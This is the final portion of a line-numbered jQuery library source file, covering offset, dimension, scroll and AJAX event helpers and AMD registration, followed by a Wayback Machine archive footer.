10649 // If the request succeeds, this function gets "data", "status", "jqXHR"
10650 // but they are ignored because response was set above.
10651 // If it fails, this function gets "jqXHR", "status", "error"
10652 } ).always( callback && function( jqXHR, status ) {
10653 self.each( function() {
10654 callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );
10655 } );
10656 } );
10657 }
10658
10659 return this;
10660 };
10661
10662
10663
10664
10665// Attach a bunch of functions for handling common AJAX events
10666 jQuery.each( [
10667 "ajaxStart",
10668 "ajaxStop",
10669 "ajaxComplete",
10670 "ajaxError",
10671 "ajaxSuccess",
10672 "ajaxSend"
10673 ], function( i, type ) {
10674 jQuery.fn[ type ] = function( fn ) {
10675 return this.on( type, fn );
10676 };
10677 } );
10678
10679
10680
10681
10682 jQuery.expr.filters.animated = function( elem ) {
10683 return jQuery.grep( jQuery.timers, function( fn ) {
10684 return elem === fn.elem;
10685 } ).length;
10686 };
10687
10688
10689
10690
10691
10692 /**
10693 * Gets a window from an element
10694 */
10695 function getWindow( elem ) {
10696 return jQuery.isWindow( elem ) ?
10697 elem :
10698 elem.nodeType === 9 ?
10699 elem.defaultView || elem.parentWindow :
10700 false;
10701 }
10702
10703 jQuery.offset = {
10704 setOffset: function( elem, options, i ) {
10705 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
10706 position = jQuery.css( elem, "position" ),
10707 curElem = jQuery( elem ),
10708 props = {};
10709
10710 // set position first, in-case top/left are set even on static elem
10711 if ( position === "static" ) {
10712 elem.style.position = "relative";
10713 }
10714
10715 curOffset = curElem.offset();
10716 curCSSTop = jQuery.css( elem, "top" );
10717 curCSSLeft = jQuery.css( elem, "left" );
10718 calculatePosition = ( position === "absolute" || position === "fixed" ) &&
10719 jQuery.inArray( "auto", [ curCSSTop, curCSSLeft ] ) > -1;
10720
10721 // need to be able to calculate position if either top or left
10722 // is auto and position is either absolute or fixed
10723 if ( calculatePosition ) {
10724 curPosition = curElem.position();
10725 curTop = curPosition.top;
10726 curLeft = curPosition.left;
10727 } else {
10728 curTop = parseFloat( curCSSTop ) || 0;
10729 curLeft = parseFloat( curCSSLeft ) || 0;
10730 }
10731
10732 if ( jQuery.isFunction( options ) ) {
10733
10734 // Use jQuery.extend here to allow modification of coordinates argument (gh-1848)
10735 options = options.call( elem, i, jQuery.extend( {}, curOffset ) );
10736 }
10737
10738 if ( options.top != null ) {
10739 props.top = ( options.top - curOffset.top ) + curTop;
10740 }
10741 if ( options.left != null ) {
10742 props.left = ( options.left - curOffset.left ) + curLeft;
10743 }
10744
10745 if ( "using" in options ) {
10746 options.using.call( elem, props );
10747 } else {
10748 curElem.css( props );
10749 }
10750 }
10751 };
10752
10753 jQuery.fn.extend( {
10754 offset: function( options ) {
10755 if ( arguments.length ) {
10756 return options === undefined ?
10757 this :
10758 this.each( function( i ) {
10759 jQuery.offset.setOffset( this, options, i );
10760 } );
10761 }
10762
10763 var docElem, win,
10764 box = { top: 0, left: 0 },
10765 elem = this[ 0 ],
10766 doc = elem && elem.ownerDocument;
10767
10768 if ( !doc ) {
10769 return;
10770 }
10771
10772 docElem = doc.documentElement;
10773
10774 // Make sure it's not a disconnected DOM node
10775 if ( !jQuery.contains( docElem, elem ) ) {
10776 return box;
10777 }
10778
10779 // If we don't have gBCR, just use 0,0 rather than error
10780 // BlackBerry 5, iOS 3 (original iPhone)
10781 if ( typeof elem.getBoundingClientRect !== "undefined" ) {
10782 box = elem.getBoundingClientRect();
10783 }
10784 win = getWindow( doc );
10785 return {
10786 top: box.top + ( win.pageYOffset || docElem.scrollTop ) - ( docElem.clientTop || 0 ),
10787 left: box.left + ( win.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 )
10788 };
10789 },
10790
10791 position: function() {
10792 if ( !this[ 0 ] ) {
10793 return;
10794 }
10795
10796 var offsetParent, offset,
10797 parentOffset = { top: 0, left: 0 },
10798 elem = this[ 0 ];
10799
10800 // Fixed elements are offset from window (parentOffset = {top:0, left: 0},
10801 // because it is its only offset parent
10802 if ( jQuery.css( elem, "position" ) === "fixed" ) {
10803
10804 // we assume that getBoundingClientRect is available when computed position is fixed
10805 offset = elem.getBoundingClientRect();
10806 } else {
10807
10808 // Get *real* offsetParent
10809 offsetParent = this.offsetParent();
10810
10811 // Get correct offsets
10812 offset = this.offset();
10813 if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
10814 parentOffset = offsetParent.offset();
10815 }
10816
10817 // Add offsetParent borders
10818 parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true );
10819 parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true );
10820 }
10821
10822 // Subtract parent offsets and element margins
10823 // note: when an element has margin: auto the offsetLeft and marginLeft
10824 // are the same in Safari causing offset.left to incorrectly be 0
10825 return {
10826 top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
10827 left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true )
10828 };
10829 },
10830
10831 offsetParent: function() {
10832 return this.map( function() {
10833 var offsetParent = this.offsetParent;
10834
10835 while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) &&
10836 jQuery.css( offsetParent, "position" ) === "static" ) ) {
10837 offsetParent = offsetParent.offsetParent;
10838 }
10839 return offsetParent || documentElement;
10840 } );
10841 }
10842 } );
10843
10844// Create scrollLeft and scrollTop methods
10845 jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
10846 var top = /Y/.test( prop );
10847
10848 jQuery.fn[ method ] = function( val ) {
10849 return access( this, function( elem, method, val ) {
10850 var win = getWindow( elem );
10851
10852 if ( val === undefined ) {
10853 return win ? ( prop in win ) ? win[ prop ] :
10854 win.document.documentElement[ method ] :
10855 elem[ method ];
10856 }
10857
10858 if ( win ) {
10859 win.scrollTo(
10860 !top ? val : jQuery( win ).scrollLeft(),
10861 top ? val : jQuery( win ).scrollTop()
10862 );
10863
10864 } else {
10865 elem[ method ] = val;
10866 }
10867 }, method, val, arguments.length, null );
10868 };
10869 } );
10870
10871// Support: Safari<7-8+, Chrome<37-44+
10872// Add the top/left cssHooks using jQuery.fn.position
10873// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
10874// getComputedStyle returns percent when specified for top/left/bottom/right
10875// rather than make the css module depend on the offset module, we just check for it here
10876 jQuery.each( [ "top", "left" ], function( i, prop ) {
10877 jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
10878 function( elem, computed ) {
10879 if ( computed ) {
10880 computed = curCSS( elem, prop );
10881
10882 // if curCSS returns percentage, fallback to offset
10883 return rnumnonpx.test( computed ) ?
10884 jQuery( elem ).position()[ prop ] + "px" :
10885 computed;
10886 }
10887 }
10888 );
10889 } );
10890
10891
10892// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
10893 jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
10894 jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name },
10895 function( defaultExtra, funcName ) {
10896
10897 // margin is only for outerHeight, outerWidth
10898 jQuery.fn[ funcName ] = function( margin, value ) {
10899 var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
10900 extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
10901
10902 return access( this, function( elem, type, value ) {
10903 var doc;
10904
10905 if ( jQuery.isWindow( elem ) ) {
10906
10907 // As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
10908 // isn't a whole lot we can do. See pull request at this URL for discussion:
10909 // https://github.com/jquery/jquery/pull/764
10910 return elem.document.documentElement[ "client" + name ];
10911 }
10912
10913 // Get document width or height
10914 if ( elem.nodeType === 9 ) {
10915 doc = elem.documentElement;
10916
10917 // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],
10918 // whichever is greatest
10919 // unfortunately, this causes bug #3838 in IE6/8 only,
10920 // but there is currently no good, small way to fix it.
10921 return Math.max(
10922 elem.body[ "scroll" + name ], doc[ "scroll" + name ],
10923 elem.body[ "offset" + name ], doc[ "offset" + name ],
10924 doc[ "client" + name ]
10925 );
10926 }
10927
10928 return value === undefined ?
10929
10930 // Get width or height on the element, requesting but not forcing parseFloat
10931 jQuery.css( elem, type, extra ) :
10932
10933 // Set width or height on the element
10934 jQuery.style( elem, type, value, extra );
10935 }, type, chainable ? margin : undefined, chainable, null );
10936 };
10937 } );
10938 } );
10939
10940
10941 jQuery.fn.extend( {
10942
10943 bind: function( types, data, fn ) {
10944 return this.on( types, null, data, fn );
10945 },
10946 unbind: function( types, fn ) {
10947 return this.off( types, null, fn );
10948 },
10949
10950 delegate: function( selector, types, data, fn ) {
10951 return this.on( types, selector, data, fn );
10952 },
10953 undelegate: function( selector, types, fn ) {
10954
10955 // ( namespace ) or ( selector, types [, fn] )
10956 return arguments.length === 1 ?
10957 this.off( selector, "**" ) :
10958 this.off( types, selector || "**", fn );
10959 }
10960 } );
10961
10962// The number of elements contained in the matched element set
10963 jQuery.fn.size = function() {
10964 return this.length;
10965 };
10966
10967 jQuery.fn.andSelf = jQuery.fn.addBack;
10968
10969
10970
10971
10972// Register as a named AMD module, since jQuery can be concatenated with other
10973// files that may use define, but not via a proper concatenation script that
10974// understands anonymous AMD modules. A named AMD is safest and most robust
10975// way to register. Lowercase jquery is used because AMD module names are
10976// derived from file names, and jQuery is normally delivered in a lowercase
10977// file name. Do this after creating the global so that if an AMD module wants
10978// to call noConflict to hide this version of jQuery, it will work.
10979
10980// Note that for maximum portability, libraries that are not jQuery should
10981// declare themselves as anonymous modules, and avoid setting a global if an
10982// AMD loader is present. jQuery is a special case. For more information, see
10983// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
10984
10985 if ( typeof define === "function" && define.amd ) {
10986 define( "jquery", [], function() {
10987 return jQuery;
10988 } );
10989 }
10990
10991
10992
10993 var
10994
10995 // Map over jQuery in case of overwrite
10996 _jQuery = window.jQuery,
10997
10998 // Map over the $ in case of overwrite
10999 _$ = window.$;
11000
11001 jQuery.noConflict = function( deep ) {
11002 if ( window.$ === jQuery ) {
11003 window.$ = _$;
11004 }
11005
11006 if ( deep && window.jQuery === jQuery ) {
11007 window.jQuery = _jQuery;
11008 }
11009
11010 return jQuery;
11011 };
11012
11013// Expose jQuery and $ identifiers, even in
11014// AMD (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
11015// and CommonJS for browser emulators (#13566)
11016 if ( !noGlobal ) {
11017 window.jQuery = window.$ = jQuery;
11018 }
11019
11020 return jQuery;
11021}));
11022
11023}
11024/*
11025 FILE ARCHIVED ON 05:37:40 Mar 19, 2021 AND RETRIEVED FROM THE
11026 INTERNET ARCHIVE ON 16:26:03 Mar 20, 2021.
11027 JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE.
11028
11029 ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C.
11030 SECTION 108(a)(3)).
11031*/
11032/*
11033playback timings (ms):
11034 esindex: 0.018
11035 load_resource: 78.006
11036 captures_list: 205.475
11037 LoadShardBlock: 168.108 (3)
11038 exclusion.robots.policy: 0.19
11039 PetaboxLoader3.datanode: 111.944 (4)
11040 RedisCDXSource: 7.878
11041 CDXLines.iter: 25.439 (3)
11042 exclusion.robots: 0.204
11043*/